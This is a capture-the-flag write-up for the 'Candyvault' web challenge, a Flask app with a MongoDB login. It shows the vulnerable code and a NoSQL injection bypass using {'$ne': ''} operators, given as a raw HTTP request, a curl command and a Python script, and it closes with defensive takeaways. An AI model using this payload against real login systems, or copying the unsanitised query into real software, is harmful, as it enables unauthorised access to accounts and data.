HTB Hack The Boo Practice: Candyvault

Challenge Information

AttributeDetails
EventHack The Boo Practice
CategoryWeb
ChallengeCandyvault
DifficultyVery Easy

Summary

A Flask web application uses MongoDB to store user credentials. The login form accepts both form-encoded and JSON content types, but performs a direct query without proper validation, making it vulnerable to NoSQL injection attacks. By crafting a malicious query, an attacker can bypass authentication and retrieve the flag.


Analysis

The vulnerable application code:

@app.route("/login", methods=["POST"])
def login():
content_type = request.headers.get("Content-Type")
if content_type == "application/x-www-form-urlencoded":
email = request.form.get("email")
password = request.form.get("password")
elif content_type == "application/json":
data = request.get_json()
email = data.get("email")
password = data.get("password")
else:
return jsonify({"error": "Unsupported Content-Type"}), 400
user = users_collection.find_one({"email": email, "password": password})
if user:
return render_template("candy.html", flag=open("flag.txt").read())
else:
return redirect("/")

Vulnerability Details:

  1. The login endpoint accepts JSON input
  2. User input (email and password) is directly used in MongoDB query without sanitization
  3. MongoDB allows query operators in dictionaries, such as {"$ne": ""} (not equal)
  4. If an attacker sends JSON with operator values, they can manipulate the query logic

Database Setup:

The application initializes 10 random users during migration:

def start_migration():
num_users = 10
for _ in range(num_users):
random_user = generate_random_user()
users_collection.insert_one(random_user)

Solution

NoSQL Injection Attack

The login query can be bypassed using MongoDB operators. Instead of providing a string for email and password, send an object with a $ne (not equal) operator:

POST /login HTTP/1.1
Content-Type: application/json
Content-Length: 60
{
"email": {"$ne": ""},
"password": {"$ne": ""}
}

This transforms the MongoDB query to:

db.users.findOne({
email: {$ne: ""}, // email is not equal to empty string
password: {$ne": ""} // password is not equal to empty string
})

Since the database contains legitimate users with non-empty emails and passwords, this query will return the first user in the collection, allowing login without knowing credentials.

Using curl:

Terminal window
curl -X POST http://target:1337/login \
-H "Content-Type: application/json" \
-d '{"email":{"$ne":""},"password":{"$ne":""}}'

Using Python:

import requests
import json
url = "http://target:1337/login"
payload = {
"email": {"$ne": ""},
"password": {"$ne": ""}
}
response = requests.post(
url,
json=payload,
headers={"Content-Type": "application/json"}
)
# If successful, response contains the flag in the candy.html page
print(response.text)

Key Takeaways

  • Never trust user input, even from JSON requests
  • Use parameterized queries and proper ORMs to prevent injection attacks
  • MongoDB queries are susceptible to injection when operators can be injected as values
  • Validate and sanitize all user input before using it in database queries
  • Implement proper authentication mechanisms with salted password hashing (bcrypt, scrypt, argon2)
  • Use allowlists for expected input formats rather than blacklisting dangerous patterns